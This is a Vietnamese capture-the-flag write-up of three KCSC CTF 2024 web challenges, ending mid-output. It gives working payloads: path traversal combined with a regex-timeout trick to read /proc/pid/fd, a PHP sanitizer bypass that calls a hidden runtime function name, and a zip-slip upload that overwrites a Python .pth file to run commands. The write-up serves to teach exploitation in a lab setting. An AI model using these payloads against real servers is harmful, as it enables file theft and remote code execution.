### KCSCCTF 2024 #### Bài Ka Tuổi Trẻ `Author: null001` ##### Preface Link: http://103.163.24.78:8888/ ``` from flask import Flask, request, redirect from os import access, R_OK, stat from os.path import isfile, join, normpath import regex app = Flask(__name__, static_url_path='/static', static_folder='static') @app.get('/') def home(): if request.args.get('file'): filename = join("./static", request.args.get('file')) if isfile(normpath(filename)) and access(normpath(filename), R_OK) and (stat(normpath(filename)).st_size < 1024 * 1024 * 2): try: with open(normpath(filename), "rb") as file: if not regex.search(r'^(([ -~])+.)+([(^~\'!*<>:;,?"*|%)]+)|([^\x00-\x7F]+)(([ -~])+.)+$', filename, timeout=2) and "flag" not in filename: return file.read(1024 * 1024 * 2) except: pass return redirect("/?file=index.html") ``` Challenge cung cấp cho chúng ta một Flask app với function đọc file. Tại route `/` ta có thể truyền params `file`, sau đó filename sẽ được khởi tạo bằng cách join `./static` với params `file`. `filename` sẽ được sau đó được kiểm tra xem có tồn tại, có quyền đọc và kích thước nhỏ hơn 2MB sau đó filename sẽ được kiểm tra qua regex và xem có `flag` trong name hay không. Như vậy từ source trên ta có thể thấy ngay đoạn code trên tồn tại một lỗ hổng path traversal khi giá trị filename chỉ sử dụng `normpath` để check ![image](https://hackmd.io/_uploads/BkQ0zYemA.png) Tuy nhiên vấn đề ở đây là ta không thể đọc được file flag thông qua `/flag.txt` do đã bị filter: ``` if not regex.search(r'^(([ -~])+.)+([(^~\'!*<>:;,?"*|%)]+)|([^\x00-\x7F]+)(([ -~])+.)+$', filename, timeout=2) and "flag" not in filename ``` ![image](https://hackmd.io/_uploads/HyCSQtxmC.png) ##### Recon Như đã đề cập ở trên, chúng ta không thể truy cập được vào `/flag.txt` vậy liệu có cách nào giúp ta có thể đọc được file mà không cần thông qua path của nó hay không ###### /proc/pid/fd/ Đây là một thư mục con chứa một bản ghi cho mỗi tập tin mà quá trình đang mở, được đặt tên theo bộ mô tả tập tin của nó, và là một symbolic link đến tập tin thực sự. Do đó, 0 giống như giống như `stdin`, 1 được coi là `stdout`, 2 là `stderr`, và tiếp tục như vậy. Thư mục `/proc/pid/fd/` là một phần của hệ thống tệp `/proc` trên Linux, nó cung cấp cho chúng ta cách xem và quan sát các tệp đang mở. Đối với mỗi process, có một thư mục ``/proc/pid/fd/`` riêng, trong đó `pid` là `process id` của tiến trình. Khi bạn mở một tệp, hệ thống sẽ tạo một liên kết tượng trưng trong thư mục ``/proc/pid/fd/`` để biểu diễn mô tả tệp đó. Khi bạn đóng tệp, liên kết tương ứng sẽ bị xóa khỏi thư mục đó. Trong Python, ta có thể mở và làm việc với các tệp tin bằng cách sử dụng câu lệnh `with open()`. Tuy nhiên khi sử dụng `with open()`, Python sẽ tự động đóng tệp tin sau khi bạn hoàn thành công việc với nó. Như vậy, chúng ta có thể thấy khi thực hiện open file, kernel sẽ tạo một fd và liên kết nó với tệp cụ thể. Vậy liệu ta có thể biết được file `/flag.txt` sẽ được liên kết ở đâu khi sử dụng statement `with open`. Vấn đề xuất hiện ở đây là ta chưa biết được giá trị của `pid` khi ta thực hiện `open('/flag.txt')`. Điều đó làm mình rất mất thời gian khi solve bài và cuối cùng mình cũng chỉ ra khi end giải. Giải pháp ở đây là mình sẽ thay đổi đoạn code, ta sẽ giữ việc mở tệp trong một khoảng thời gian nhất định để có thể trace được `pid` ``` from flask import Flask, request, redirect from os import access, R_OK, stat from os.path import isfile, join, normpath import regex import time app = Flask(__name__, static_url_path='/static', static_folder='static') @app.get('/') def home(): if request.args.get('file'): filename = join("./static", request.args.get('file')) normalized_filename = normpath(filename) if isfile(normalized_filename) and access(normalized_filename, R_OK) and (stat(normalized_filename).st_size < 1024 * 1024 * 2): try: with open(normalized_filename, "rb") as file: time.sleep(5) # Giữ tệp mở trong 5 giây if not regex.search(r'^(([ -~])+.)+([(^~\'!*<>:;,?"*|%)]+)|([^\x00-\x7F]+)(([ -~])+.)+$', normalized_filename, timeout=2) and "flag" not in normalized_filename: return file.read(1024 * 1024 * 2) except: pass return redirect("/?file=index.html") if __name__ == '__main__': app.run(debug=True) ``` Kết quả ta tìm thấy file path `/flag.txt` được link tới `/proc/7/fd/10`. Câu hỏi lại tiếp tục đặt ra là vậy khi ta exploit trên server thì làm sao để delay việc đóng file, câu trả lời ở đây là regex ```regex.search(r'^(([ -~])+.)+([(^~\'!*<>:;,?"*|%)]+)|([^\x00-\x7F]+)(([ -~])+.)+$', normalized_filename, timeout=2)```. Ta có thể thấy timeout ở đây được tác giả đặt là 2. Vì vậy ta có thể tận dụng nó bằng cách tạo ra một đường dẫn đủ dài cho regex check lâu giúp cho việc delay quá trình đóng file khiến file `/flag.txt` ko được link qua đường dẫn `/proc/7/fd/10` nữa ##### Exploit Lúc này ta tiến hành exploit bằng cách truyền vào `file`: `/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../flag.txt` Điều này giúp ta delay quá trình regex check như đã đề cập ở trên ![image](https://hackmd.io/_uploads/HJrZuclQR.png) Lúc này khi truy cập vào `/proc/7/fd/10` ta sẽ có được flag: ![image](https://hackmd.io/_uploads/HJRPOqlmC.png) Flag : `KCSC{D1eu_tuу3t_v01_n@m_o_n0i_ch1nh_ta_ch@ng_can_tim_d@u_xa}` #### Bubble Gum `Author: chanze` Link: http://103.163.24.78:27012/ ![image](https://hackmd.io/_uploads/B1GHF9l7R.png) Web cung cấp cho chúng ta source code PHP. Hãy phân tích một chút về nó. Đoạn mã PHP này kiểm tra tham số secret từ GET request, nếu là chuỗi thì loại bỏ các ký tự số và ký tự đặc biệt, sau đó so sánh MD5 của chuỗi đã xử lý với "GETROLE". Nếu khớp, hàm `getRoleAdmin` trả về "admin" được định nghĩa, ngược lại hàm getrole trả về "user" được định nghĩa. Cuối cùng, nếu vai trò trong phiên `($_SESSION['role']) là "admin", mã sẽ hiển thị nội dung của tệp` `/flag.txt`. Có vể như đoạn code đã chặn việc ta sử dụng `PHP Type Juggling` bằng cách loại bỏ tất cả các số và một số kí tự đặc biết thông qua hàm `_santize_secret`. Bài toán đặt bây giờ là làm sao chúng ta có thể get được session của admin khi không có cách nào giúp ta bypass được `md5($secret) == md5("GETROLE")`. Tuy nhiên khi thử fuzz thì em phát hiện là ta có thể truyền một số tên hàm trong php như `phpinfo` vào secret điều này có thể giải thích thông qua việc gán `($_SESSION['role']) = $secret()` chăng ![image](https://hackmd.io/_uploads/Byioi5gmC.png) ##### Recon Từ `phpinfo` ta có thể thấy app đang sử dụng một `Zend Engine v3.4.0` ![image](https://hackmd.io/_uploads/rJng2qeQC.png) Googling một hồi không hiệu quả thì em đọc hint của author https://github.com/php/php-src/pull/5595, qua đó em tiếp tục trace các function liên quan thì em tìm thấy được rất nhiều kiến thức thú vị: ``` Hiện nay, các hàm được khai báo động và closures được chèn vào bảng hàm dưới một khóa định nghĩa thời gian chạy, và sau đó có thể được đổi tên sau. Khi opcache không được sử dụng và một tệp chứa một closure được bao gồm một cách lặp đi lặp lại, điều này dẫn đến một rò rỉ bộ nhớ rất lớn, vì các khai báo closure không còn cần thiết sẽ không bao giờ được giải phóng (https://bugs.php.net/bug.php?id=76982). Với bản vá này, các hàm động thay vào đó được lưu trữ trong thành viên dynamic_func_defs trên op_array, mà các mã opcode tham chiếu theo chỉ mục. Khi op_array cha bị phá hủy, dynamic_func_defs nó chứa cũng bị phá hủy (trừ khi chúng vẫn được sử dụng ở nơi khác, ví dụ như vì chúng đã được ràng buộc, hoặc được sử dụng bởi một closure đang hoạt động). Điều này giải quyết phần cơ bản của rò rỉ, tuy nhiên vẫn chưa hoàn toàn sửa nó do một số phân bổ trong arena. Thay đổi chính không rõ ràng ở đây là xử lý biến tĩnh: Chúng ta không thể phá hủy static_variables_ptr trong destroy_op_array, vì ví dụ, điều đó sẽ làm cho các biến tĩnh trong một hàm động bị xóa khi op_array chứa nó bị phá hủy. Việc phá hủy biến tĩnh được tách ra vì lí do này (chúng ta đã thực hiện việc phá hủy biến tĩnh riêng biệt cho các hàm bình thường, vì vậy chúng ta chỉ cần xử lý kịch bản chính) ``` ##### Understanding the PHP script execution process Trong hầu hết các trường hợp, quá trình thực thi PHP được chia thành hai phần chính: biên dịch mã nguồn thành các chỉ thị của Zend Virtual Machine (VM) và thực thi các chỉ thị này bởi máy ảo Zend. Phần biên dịch mã nguồn thành chỉ thị của Zend VM bao gồm ba bước chính: Gọi hàm `zendparse`: tại đây PHP sẽ thực hiện các bước như lexical analysis, syntax analysis, và khởi tạo AST tree Gọi `init_op_array`:Tại đây hàm `zend_compile_top_stmt` được gọi để chuyển đổi cây AST thành opline. Gọi `pass_two`: Ở đây PHP thực hiện conversion of compile-time với run-time information và thiết lập các bước xử lý đối với mỗi `opcode` Phần thực thi các chỉ thị bởi máy ảo Zend bắt đầu sau khi quá trình biên dịch hoàn tất. Trong giai đoạn này, máy ảo Zend thực thi từng opcode trong mảng opline theo thứ tự. Mỗi opcode đại diện cho một công việc cụ thể, chẳng hạn như thực hiện phép toán, gọi hàm, hay như việc xử lý biến. Máy ảo sẽ gọi các bộ xử lý tương ứng với từng opcode để thực hiện các hành động này. Quá trình này diễn ra tuần tự và liên tục cho đến khi toàn bộ mảng opline được thực thi hết. ![image](https://hackmd.io/_uploads/rJuRR5emC.png) ``` void zend_compile_func_decl(znode *result, zend_ast *ast, zend_bool toplevel) /* {{{ */ { ... zend_ast_decl *decl = (zend_ast_decl *) ast; zend_bool is_method = decl->kind == ZEND_AST_METHOD; if (is_method) { zend_bool has_body = stmt_ast != NULL; zend_begin_method_decl(op_array, decl->name, has_body); } else { zend_begin_func_decl(result, op_array, decl, toplevel); if (decl->kind == ZEND_AST_ARROW_FUNC) { find_implicit_binds(&info, params_ast, stmt_ast); compile_implicit_lexical_binds(&info, result, op_array); } else if (uses_ast) { zend_compile_closure_binding(result, op_array, uses_ast); } } } ``` Ta có thể thấy hàm `zend_begin_func_decl` có một tham số rất quan trọng là `toplevel`. Tham số này xác định xem định nghĩa hàm hiện tại có ở phạm vi `top-level` hay không. ``` static void zend_begin_func_decl(znode *result, zend_op_array *op_array, zend_ast_decl *decl, zend_bool toplevel) /* {{{ */ { ... zend_register_seen_symbol(lcname, ZEND_SYMBOL_FUNCTION); if (toplevel) { if (UNEXPECTED(zend_hash_add_ptr(CG(function_table), lcname, op_array) == NULL)) { do_bind_function_error(lcname, op_array, 1); } zend_string_release_ex(lcname, 0); return; } /* Generate RTD keys until we find one that isn't in use yet. */ key = NULL; do { zend_tmp_string_release(key); key = zend_build_runtime_definition_key(lcname, decl->start_lineno); } while (!zend_hash_add_ptr(CG(function_table), key, op_array)); ... } ``` ``` zend_register_seen_symbol(lcname, ZEND_SYMBOL_FUNCTION); ``` Hàm `zend_register_seen_symbol` sẽ đăng ký tên hàm (được lưu trong biến lcname) như một biểu tượng hàm trong quá trình biên dịch. ``` if (toplevel) { if (UNEXPECTED(zend_hash_add_ptr(CG(function_table), lcname, op_array) == NULL)) { do_bind_function_error(lcname, op_array, 1); } zend_string_release_ex(lcname, 0); return; } ``` Nếu hàm đang được định nghĩa ở phạm vi `top-level` (giá trị `toplevel` là true), thì hàm này sẽ thêm tên hàm và con trỏ đến mảng `opcode` (op_array) vào bảng hàm toàn cục (function_table). Nếu việc thêm vào bảng hàm thất bại (ví dụ, nếu tên hàm đã tồn tại), hàm `do_bind_function_error` sẽ được gọi để xử lý lỗi. Sau đó, chuỗi ký tự tên hàm (`lcname`) sẽ được giải phóng và hàm `zend_begin_func_decl` sẽ kết thúc. ``` /* Generate RTD keys until we find one that isn't in use yet. */ key = NULL; do { zend_tmp_string_release(key); key = zend_build_runtime_definition_key(lcname, decl->start_lineno); } while (!zend_hash_add_ptr(CG(function_table), key, op_array)); ``` Nếu hàm không ở phạm vi `top-level` (giá trị `toplevel` là false), hàm này sẽ tạo các khóa định nghĩa runtime (`RTD keys`) để đảm bảo tên hàm là duy nhất trong bảng hàm. Quá trình này sẽ lặp lại cho đến khi tìm được một khóa chưa được sử dụng trong bảng hàm. Khóa này được tạo bằng cách kết hợp tên hàm (`lcname`) và số dòng bắt đầu của định nghĩa hàm (`decl->start_lineno`). ``` zend_tmp_string_release(key); ``` Sau khi thêm thành công tên hàm và con trỏ đến mảng opcode vào bảng hàm, chuỗi ký tự tạm thời (key) sẽ được giải phóng để tránh rò rỉ bộ nhớ. Khi `toplevel` là true, chương trình sẽ đi vào logic của câu lệnh if đầu tiên. Điều này nhằm trực tiếp thêm tên hàm hiện tại (lcname) vào bảng hàm toàn cục: ``` if (toplevel) { if (UNEXPECTED(zend_hash_add_ptr(CG(function_table), lcname, op_array) == NULL)) { do_bind_function_error(lcname, op_array, 1); } zend_string_release_ex(lcname, 0); return; } ``` Trong đoạn mã này: Nếu `toplevel` là true, hàm sẽ cố gắng thêm tên hàm (lcname) và mảng `opcode` (op_array) vào bảng hàm toàn cục (function_table). Nếu việc thêm vào bảng hàm thất bại (ví dụ, nếu tên hàm đã tồn tại), hàm `do_bind_function_error` sẽ được gọi để xử lý lỗi. Sau đó, chuỗi ký tự tên hàm (lcname) sẽ được giải phóng bằng `zend_string_release_ex`, và hàm `zend_begin_func_decl` sẽ kết thúc. Khi `toplevel` là false, chương trình sẽ đi vào vòng lặp `do-while` sau đó: ``` /* Generate RTD keys until we find one that isn't in use yet. */ key = NULL; do { zend_tmp_string_release(key); key = zend_build_runtime_definition_key(lcname, decl->start_lineno); } while (!zend_hash_add_ptr(CG(function_table), key, op_array)); ``` Nếu `toplevel` là false, hàm sẽ tạo ra các khóa định nghĩa `runtime` (RTD keys) bằng cách sử dụng hàm `zend_build_runtime_definition_key`, kết hợp tên hàm (lcname) và số dòng bắt đầu của định nghĩa hàm (decl->start_lineno). Vòng lặp do-while sẽ tiếp tục cho đến khi tìm được một khóa chưa được sử dụng trong bảng hàm. Điều này đảm bảo rằng tên hàm là duy nhất trong ngữ cảnh hiện tại. Sau mỗi lần lặp, chuỗi ký tự tạm thời (key) sẽ được giải phóng bằng `zend_tmp_string_release` để tránh rò rỉ bộ nhớ. Nói cách khác, tùy thuộc vào phạm vi mà hàm được đặt (top-level hay không), tên hàm được tạo ra khi PHP biên dịch sẽ khác nhau: - `Top-level`: Tên hàm (lcname) được thêm trực tiếp vào bảng hàm. - Không `top-level`: Tên hàm được kết hợp với số dòng để tạo ra một khóa duy nhất, sau đó thêm vào bảng hàm. Điều này giúp đảm bảo rằng các hàm định nghĩa trong các ngữ cảnh khác nhau sẽ không xung đột tên và được xử lý một cách chính xác trong quá trình biên dịch và thực thi. Lấy ví dụ trên PHP7.4 ``` <?php function func1() { echo 'func1'; } if (true) { function func2() { echo 'func2'; } } ``` Khi biên dịch hàm đầu tiên, ta có thể thấy nó sẽ đi vào điều kiện if (toplevel), trong đó `lcname` ở đây chính là `func1`: ![image](https://hackmd.io/_uploads/ByHMWse70.png) Khi đó, quá trình thực thi đạt đến vòng lặp, và một khóa sẽ được tạo ra bởi hàm như tên hàm này `lcname:func2` do while sử dụng hàm `zend_build_runtime_definition_key`. ![image](https://hackmd.io/_uploads/HyQHZjxmC.png) Tiếp tục F11 để vào function and xem logic xử lý: ![image](https://hackmd.io/_uploads/HJJKZjxm0.png) Có thể thấy rằng cốt lõi của hàm này là định dạng chuỗi, và khóa cuối cùng được tạo ra theo thuật toán sau: ```'\0' + name + filename + ':' + start_lineno + '$' + rtd_key_counter``` Ta có thể phân tích từng phần như sau: ``` '\0': Ký tự null name: Tên của hàm filename: Đường dẫn tuyệt đối của tệp PHP start_lineno: Số dòng bắt đầu định nghĩa hàm (1 là dòng đầu tiên) rtd_key_counter: Số lần truy cập toàn cục, tăng lên 1 mỗi khi nó được thực thi, bắt đầu từ 0 ``` ##### Opline differences caused by the scope of the function Trong phần trước, chúng ta đã tóm lược về quá trình biên dịch khi hàm không ở trong `toplevel` scope. Khi phân tích hàm `zend_begin_func_decl`, ta có thể thấy rằng khi `toplevel` là false, PHP sẽ tạo một `opline` mới bằng cách gọi hàm `get_next_op()`, nhưng khi `toplevel` là true, điều này sẽ không xảy ra. Giờ hãy so sánh sự khác biệt giữa hai trường hợp trong `opline`. ``` <?php function func1() { echo 'func1'; } func1(); ``` ![image](https://hackmd.io/_uploads/Syaz7slQR.png) Có thể thấy rằng không có `opcode` nào cho việc định nghĩa hàm ở đây. Hai `opcode` bắt đầu từ dòng 5 là `INIT_FCALL` và `DO_FCALL` được sử dụng để thực thi hàm. ``` <?php if (true) { function func2() { echo 'func2'; } } func2(); ``` ![image](https://hackmd.io/_uploads/r11n7jlmR.png) Có hai điểm khác biệt rõ ràng: - Có nhiều OPCODE hơn để định nghĩa các hàm, bao gồm DECLARE_FUNCTION. - Trong quá trình thực thi hàm, INIT_FCALL trở thành INIT_FCALL_BY_NAME. Khi PHP biên dịch một hàm không ở toplevel, tên hàm gốc và khóa được tạo ra sẽ được lưu trữ theo thứ tự trong DECLARE_FUNCTION của opline này. Khi opcode DECLARE_FUNCTION được thực thi, tên hàm gốc thực sự sẽ được đưa vào bảng hàm. Nói cách khác, nếu phạm vi không phải là một `top-level function`, trước tiên nó sẽ được đưa vào bảng hàm với một tên hàm a trong suốt giai đoạn compilation phase , và sau đó tên hàm thực sự sẽ được đưa vào bảng hàm trong quá trình thực thi bằng opcode `DECLARE_FUNCTION` Vậy, quay lại với challenge ở đầu, vì chúng ta không thể giải quyết phép so sánh `md5($secret) == md5("GETROLE")` trong câu lệnh if, chúng ta không thể nhập vào quá trình thực thi của `DECLARE_FUNCTION`. Sau đó, khi thực thi, $secret() không thể sử dụng tên gốc của hàm `getRoleAdmin` để gọi hàm, mà cần phải sử dụng `\0` tên hàm ban đầu. Điều này giải thích việc nếu `getRoleAdmin` không được đưa vào bảng hàm vì quá trình thực thi không đi qua opcode `DECLARE_FUNCTION`. Khi ``$secret()`` được gọi, nó không thể tìm thấy tên hàm gốc `getRoleAdmin` trong bảng hàm và phải sử dụng tên tạm thời được tạo ra trong quá trình biên dịch. ##### Bypass _santize_secret via werid interacting mb_strpos and mb_substr Từ những phân tích trên, chúng ta biết rằng có thể lấy được `session admin` bằng cách sử dụng hàm `getRoleAdmin` với tên hàm đặc biệt `\0getRoleAdmin/var/www/html/index.php:8$0`. Tuy nhiên, bước tiếp theo là phải vượt qua hàm _sanitize_secret để tránh việc các ký tự số và ``$`` bị loại bỏ. Sau khi googeing về một số trick của PHP em phát hiện ra một bug do sự tương tác không đồng nhất giữa `mb_strpos` và `mb_substr`. Cụ thể, khi `mb_strpos` gặp một byte dẫn đầu của UTF-8, nó sẽ cố gắng phân tích các byte tiếp theo cho đến khi chuỗi byte đầy đủ được đọc. Nếu nó gặp phải một byte không hợp lệ, tất cả các byte đã đọc trước đó được coi là một ký tự, và quá trình phân tích sẽ bắt đầu lại từ byte không hợp lệ đó. ![image](https://hackmd.io/_uploads/BkIsOslXC.png) Lấy ví dụ : ``` mb_strpos trả về index 4: mb_strpos("\xf0\x9fAAA<BB", '<'); // 4 ``` Ngược lại, `mb_substr` bỏ qua các byte tiếp theo khi gặp một byte dẫn. Điều này có nghĩa là đối với `mb_substr`, bốn byte đầu tiên của một ký tự UTF-8 sẽ được coi là một ký tự, và ký tự tiếp theo sẽ được xử lý từ chỉ số tiếp theo. ![image](https://hackmd.io/_uploads/rygmYjgXA.png) Điều này có nghĩa là đối với `mb_substr`, bốn byte đầu tiên được coi là một ký tự và ký tự dấu ngoặc nhọn `<` (3c) có chỉ số 2. Do đó, cuộc gọi mb_substr sau đây trả về ``"\xf0\x9fAAA<B"`` khi sử dụng chỉ số được trả về bởi mb_strpos: `mb_substr("\xf0\x9fAAA<BB", 0, 4); // "\xf0\x9fAAA<B"` Do sự không nhất quán này giữa hai hàm, kết quả dẫn đến việc santize gặp vấn đề lớn: ![image](https://hackmd.io/_uploads/HJ4iFixXC.png) Qua đây bằng cách chèn thêm `%f0` vào liệu ta có thể bypass qua `_santize_secret` không: ```%f0\0getRoleAdmin/var/www/html/index.php:8$0``` Tuy nhiên, thực tế vấn đề vẫn chưa được giải quyết vì vần còn kí tự null `\0`. ![image](https://hackmd.io/_uploads/r1uhhil7C.png) Vấn đề bây giờ làm sao chúng ta có thể tiếp tục bypass `\0` Trong C, `\0` và `%00` thực sự có chức năng tương tự, đều đại diện cho ký tự null. `\0` là một cách để biểu thị ký tự null trong ngôn ngữ C và thường được sử dụng trong chuỗi như là dấu kết thúc của chuỗi. `%00` thường là một ký hiệu định dạng được sử dụng trong các hàm nhập và xuất có định dạng để biểu thị ký tự null. Tổng hợp tất cả các kiến thức đã phân tích ở trên ta có thể dễ dàng suy ra được payload: Final payload: `%f0\%00getRoleAdmin/var/www/html/index.php:8$0` Hãy phân tích lại một chút cách `_santize_secret` xử lý: Hãy xem xét cách hàm _sanitize_secret xử lý chuỗi này: - Hàm str_split tạo một mảng các ký tự không hợp lệ bao gồm: "0123456789!@#$%^&*()".Vòng lặp foreach duyệt qua từng ký tự trong blacklist và tìm kiếm trong chuỗi bằng mb_strpos. - Khi `mb_strpos` gặp một byte dẫn như `%f0`, nó cố gắng phân tích các byte tiếp theo để tạo thành một ký tự UTF-8 đầy đủ. Tuy nhiên, nếu byte này không hợp lệ, nó sẽ xem toàn bộ các byte đọc được trước đó là một ký tự. - Sau khi xử lý blacklist, hàm preg_replace loại bỏ tất cả các ký tự không phải ASCII. Ký tự NULL (`\0`) khiến `mb_strpos` và `mb_substr` xử lý chuỗi không đúng cách vì nó là một ký tự đặc biệt và không thể hiển thị. Byte dẫn UTF-8 không hợp lệ (`%f0`): Khi `mb_strpos` gặp byte này, nó có thể gây ra sự cố trong quá trình xác định vị trí của các ký tự trong blacklist. Điều này làm cho các ký tự không mong muốn như `$` hoặc `8` không bị loại bỏ đúng cách. Cụ thể, khi mb_strpos gặp `%f0`, nó sẽ không xác định được vị trí chính xác của các ký tự blacklist, dẫn đến việc bỏ qua kiểm tra và không loại bỏ được ký tự `$`. ``` Bài này mình tham khảo và viết lại từ: References: https://www.leavesongs.com/PENETRATION/php-challenge-2023-oct.html ``` ##### Exploit ![image](https://hackmd.io/_uploads/ryL8W2xmR.png) Flag is: `KCSC{bel0w_php_15_z3nd_with_int3re5ting_fe4ture}` #### Simple Flask ##### Preface Author: nhienit Get instance: nc 103.163.24.78 1337 Challenge cung cấp cho chúng ta một trang web có chức năng upload file ![image](https://hackmd.io/_uploads/rJ_WrZbmA.png) Ta đi sâu vào source code ``` from flask import Flask, request, render_template, flash import zipfile import re import os from os import listdir from os.path import isfile, join app = Flask(__name__, static_folder='uploads') app.secret_key = "test_keyyyyyyy" def list_all_files(mypath: str): output = [] for path, subdirs, files in os.walk(mypath): for name in files: output.append(os.path.join(path, name)) return output def fileIsSafe(file_ext: str): if not file_ext: return False if re.match(r'\.(py|ini|html|htm|env|bash|sh|so|preload)', file_ext): return False return True @app.route('/') def index(): mypath = "uploads" uploaded_file = list_all_files(mypath) return render_template('index.html', data = uploaded_file) @app.route('/upload', methods=['POST']) def upload(): if not request.files['file']: return "Not file provided" else: try: client_file = request.files['file'] with zipfile.ZipFile(client_file, 'r') as zip_ref: for name in zip_ref.namelist(): _, file_ext = os.path.splitext(name) if fileIsSafe(file_ext): if len(name.split("/")) != 1: curr_path = "uploads" for folder_name in name.split("/")[:-1]: curr_path += f"/{folder_name}" if not os.path.exists(curr_path): os.mkdir(curr_path) dest_path = os.path.normpath(f"uploads/{name}") with open(dest_path, "wb") as f: f.write(zip_ref.read(name)) except: return "Something went wrong" return "Success! Check uploads/ folder" @app.route('/healthz') def healthz(): import subprocess output = subprocess.check_output(["python", "-c", "print('OK')"]) return output if __name__ == "__main__": app.run(host="0.0.0.0", debug=False, port=5000) ``` ``` def list_all_files(mypath: str): output = [] for path, subdirs, files in os.walk(mypath): for name in files: output.append(os.path.join(path, name)) return output ``` Hàm list_all_files duyệt qua tất cả các thư mục và tệp tin trong mypath và trả về danh sách đường dẫn của tất cả các tệp tin. ``` def fileIsSafe(file_ext: str): if not file_ext: return False if re.match(r'\.(py|ini|html|htm|env|bash|sh|so|preload)', file_ext): return False return True ``` Hàm fileIsSafe kiểm tra phần mở rộng của tệp tin và trả về False nếu phần mở rộng tệp không được phép (ví dụ: .py, .ini, .html, .sh, vv.), ngược lại trả về True. ``` @app.route('/upload', methods=['POST']) def upload(): if not request.files['file']: return "Not file provided" else: try: client_file = request.files['file'] with zipfile.ZipFile(client_file, 'r') as zip_ref: for name in zip_ref.namelist(): _, file_ext = os.path.splitext(name) if fileIsSafe(file_ext): if len(name.split("/")) != 1: curr_path = "uploads" for folder_name in name.split("/")[:-1]: curr_path += f"/{folder_name}" if not os.path.exists(curr_path): os.mkdir(curr_path) dest_path = os.path.normpath(f"uploads/{name}") with open(dest_path, "wb") as f: f.write(zip_ref.read(name)) except: return "Something went wrong" return "Success! Check uploads/ folder" ``` Route `/upload` xử lý yêu cầu POST khi người dùng tải lên một tệp zip. Tệp zip được giải nén và các tệp con được lưu vào thư mục uploads nếu phần mở rộng tệp an toàn. Nếu có lỗi xảy ra trong quá trình xử lý, trả về thông báo lỗi. ##### Recon 1. Zip Slip Zip Slip là một lỗ hổng bảo mật liên quan đến việc giải nén các tệp tin từ một tệp nén (ví dụ: ZIP, TAR) mà không kiểm tra đúng đắn tên tệp và đường dẫn của chúng. Lỗ hổng này cho phép kẻ tấn công tạo ra các tệp với tên tệp chứa các ký tự ".." hoặc các đường dẫn tuyệt đối, dẫn đến việc ghi đè các tệp quan trọng trên hệ thống tập tin của máy chủ mục tiêu khi giải nén. Tạo tệp tin có tên chứa "..": Kẻ tấn công tạo một tệp tin có tên chứa ".." để đi ngược lại các thư mục cha, ví dụ: ../. Nén tệp tin này: Tệp tin chứa tên nguy hiểm này được nén vào một tệp nén như ZIP. Tải lên và giải nén trên máy chủ: Tệp nén này được tải lên một máy chủ mục tiêu. Nếu máy chủ giải nén tệp này mà không kiểm tra đúng đắn, nó sẽ giải nén và ghi đè lên các tệp tin trong các thư mục không mong muốn. Ví dụ chi tiết Giả sử chúng ta có đoạn mã PHP sau để thực hiện một lệnh hệ thống và lưu tên tệp là `../test.php`: ``` echo '<?php echo system("id");?>' > '../test.php' zip test.zip '../test.php' ``` Như vậy mục tiêu ở đây là ta cần thực thi zip flip để overwrite source file nhằm trigger RCE. Vấn đề ở đây, là liệu ta có thể overwrite file nào để vượt qua được blacklist `py|ini|html|htm|env|bash|sh|so|preload` Trong quá trình tìm cách bypass blacklist em tìm được một report sau https://github.com/python/cpython/issues/113659 ![image](https://hackmd.io/_uploads/rJRO-EGmC.png) Em thử trace file trên docker desktop thì tìm được một file trong thư viện của python ![image](https://hackmd.io/_uploads/H1f3QEGQA.png) 2. Overwrite `.pth` file to trigger rce via zip slip Trong Python, các tệp có phần mở rộng `.pth` là các tệp đường dẫn (path) dành cho Python. Cụ thể, các tệp này thường được sử dụng để chỉ định các thư mục chứa các module hoặc gói (packages) Python. Khi Python bắt đầu, nó sẽ kiểm tra các tệp `.pth` trong các thư mục như `/usr/local/lib/python3.8/site-packages` (hoặc một thư mục tương tự), và thêm các thư mục được chỉ định trong các tệp này vào `sys.path`. `sys.path` là danh sách các đường dẫn mà Python sử dụng để tìm kiếm các module và gói khi được nhập vào bởi mã Python. ![image](https://hackmd.io/_uploads/ByU4S4fQ0.png) Quay trở lại challenge ban đầu ở route `/healthz`, ta có thể thấy đoạn code `import` thư viện `subprocess` lúc này file `.pth` sẽ đảm bảo tùy chỉnh phiên bản của `distutils` tùy thuộc vào env. Trong trường hợp đó không phải là môi trường local, nó sẽ sử dụng chính phiên bản mặc định, còn với trường hợp ngược lại, nó sẽ thực hiện một số tùy chỉnh cụ thể. Về cơ bản, file `.pth` này sẽ thiết lập môi trường và cấu hình đúng trước khi bất kỳ đoạn code Python nào được execute, nó giúp mọi thứ hoạt động một cách trơn tru, tránh việc phát sinh lỗi trong quá trình thực thi. Như vậy ta hoàn toàn có thể trigger được RCE bằng cách ghi đè nội dung của file này khi upload file zip lên server thông qua zip flip. Lúc này khi truy cập vào `healthz` ngoài trả về `OK`. Server lúc này sẽ thực thi RCE Payload: ``` import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'stdlib') == 'local'; print(os.popen('evn').read()); enabled and __import__('_distutils_hack').add_shim(); ``` ##### Exploit Ta triển khai thực thi path traversal filename ``` root@LAPTOP-3QFM2RO7:/home/l1nx1n/ctf# mkdir -p /usr/local/lib/python3.8/site-packages root@LAPTOP-3QFM2RO7:/home/l1nx1n/ctf# nano "../../../../../../..//usr/local/lib/python3.8/site-packages/distutils-precedence.pth" ``` Sau đó zip file lại và upload lên server ``` root@LAPTOP-3QFM2RO7:/home/l1nx1n/ctf# zip c.zip "../../../../../../..//usr/local/lib/python3.8/site-packages/distutils- precedence.pth" adding: ../../../../../../..//usr/local/lib/python3.8/site-packages/distutils-precedence.pth (deflated 19%) root@LAPTOP-3QFM2RO7:/home/l1nx1n/ctf# curl -F file=@c.zip localhost:5000/upload ``` Sau đó ta truy cập vào `/healthz` thì ta có thể thấy đã trigger được RCE thành công và có được flag ![image](https://hackmd.io/_uploads/H1Z9JSzQR.png) ``` root@LAPTOP-3QFM2RO7:/home/l1nx1n/ctf# curl localhost:5000/healthz HOSTNAME=9268beff74a7 PYTHON_PIP_VERSION=23.0.1 HOME=/root GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568 WERKZEUG_SERVER_FD=3 PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/dbf0c85f76fb6e1ab42aa672ffca6f0a675d9ee4/public/get-pip.py 